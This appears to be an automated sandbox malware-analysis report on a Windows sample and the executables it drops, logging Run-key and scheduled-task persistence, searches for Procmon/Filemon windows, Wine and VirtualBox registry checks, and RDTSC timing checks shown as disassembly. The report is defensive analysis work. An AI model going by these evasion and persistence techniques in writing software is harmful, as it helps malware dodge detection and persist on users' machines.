Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6fc7e371fe.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run a0969106aa.exe

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsHCFBFBAEBK.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsHCFBFBAEBK.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6fc7e371fe.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6fc7e371fe.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run a0969106aa.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run a0969106aa.exe

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6A55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C6A55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FCFF7 second address: 10FCFFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FCFFB second address: 10FCFFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F1226 second address: 10F1247 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F528074EBDFh 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 jns 00007F528074EBD6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC079 second address: 10FC07F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC07F second address: 10FC08C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC1E3 second address: 10FC1E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC34F second address: 10FC355 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC355 second address: 10FC360 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F528105F326h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC360 second address: 10FC36F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F528074EBDAh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC36F second address: 10FC379 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC74C second address: 10FC750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF78B second address: 10FF836 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 add dword ptr [esp], 2F9AC42Eh 0x0000000c movzx esi, cx 0x0000000f push 00000003h 0x00000011 mov di, cx 0x00000014 push 00000000h 0x00000016 mov ecx, dword ptr [ebp+122D3896h] 0x0000001c push 00000003h 0x0000001e push 00000000h 0x00000020 push eax 0x00000021 call 00007F528105F328h 0x00000026 pop eax 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b add dword ptr [esp+04h], 00000018h 0x00000033 inc eax 0x00000034 push eax 0x00000035 ret 0x00000036 pop eax 0x00000037 ret 0x00000038 mov dword ptr [ebp+122D1997h], eax 0x0000003e mov dword ptr [ebp+122D36FBh], esi 0x00000044 push BBEFA9F1h 0x00000049 jnc 00007F528105F32Ah 0x0000004f add dword ptr [esp], 0410560Fh 0x00000056 push 00000000h 0x00000058 push edx 0x00000059 call 00007F528105F328h 0x0000005e pop edx 0x0000005f mov dword ptr [esp+04h], edx 0x00000063 add dword ptr [esp+04h], 00000019h 0x0000006b inc edx 0x0000006c push edx 0x0000006d ret 0x0000006e pop edx 0x0000006f ret 0x00000070 mov dword ptr [ebp+122D1B4Fh], ebx 0x00000076 lea ebx, dword ptr [ebp+124535F8h] 0x0000007c mov edi, 524FD18Dh 0x00000081 xchg eax, ebx 0x00000082 push eax 0x00000083 push edx 0x00000084 push eax 0x00000085 push edx 0x00000086 jmp 00007F528105F334h 0x0000008b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF836 second address: 10FF84B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528074EBE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF8B9 second address: 10FF986 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a jmp 00007F528105F334h 0x0000000f push 00000000h 0x00000011 pushad 0x00000012 call 00007F528105F32Bh 0x00000017 mov dword ptr [ebp+122D29EDh], ecx 0x0000001d pop edx 0x0000001e mov edx, dword ptr [ebp+122D3AD6h] 0x00000024 popad 0x00000025 call 00007F528105F329h 0x0000002a jnc 00007F528105F32Ah 0x00000030 push eax 0x00000031 jns 00007F528105F338h 0x00000037 mov eax, dword ptr [esp+04h] 0x0000003b jmp 00007F528105F330h 0x00000040 mov eax, dword ptr [eax] 0x00000042 ja 00007F528105F332h 0x00000048 jnc 00007F528105F32Ch 0x0000004e mov dword ptr [esp+04h], eax 0x00000052 jl 00007F528105F334h 0x00000058 push ecx 0x00000059 jmp 00007F528105F32Ch 0x0000005e pop ecx 0x0000005f pop eax 0x00000060 push 00000003h 0x00000062 mov esi, dword ptr [ebp+122D3A76h] 0x00000068 mov edi, 3D9F62CCh 0x0000006d push 00000000h 0x0000006f stc 0x00000070 push 00000003h 0x00000072 mov ecx, dword ptr [ebp+122D1D39h] 0x00000078 mov si, bx 0x0000007b push A440E191h 0x00000080 push eax 0x00000081 push edx 0x00000082 push eax 0x00000083 push edx 0x00000084 push esi 0x00000085 pop esi 0x00000086 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF986 second address: 10FF98C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FFA51 second address: 10FFA8F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528105F331h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dx, 0D4Ch 0x00000010 push 00000000h 0x00000012 mov ecx, 2CDD2BCEh 0x00000017 js 00007F528105F32Ch 0x0000001d mov edi, dword ptr [ebp+122D3912h] 0x00000023 push 671B786Ah 0x00000028 push eax 0x00000029 push edx 0x0000002a push ecx 0x0000002b jnl 00007F528105F326h 0x00000031 pop ecx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11218B8 second address: 11218BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111F616 second address: 111F62E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F528105F333h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111F62E second address: 111F64B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528074EBE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111F64B second address: 111F64F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111F64F second address: 111F653 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111F7C7 second address: 111F7D2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 js 00007F528105F326h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111FD89 second address: 111FD93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F528074EBD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111FD93 second address: 111FD9E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11200B8 second address: 11200BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11200BE second address: 11200D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F528105F326h 0x0000000a popad 0x0000000b jns 00007F528105F32Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
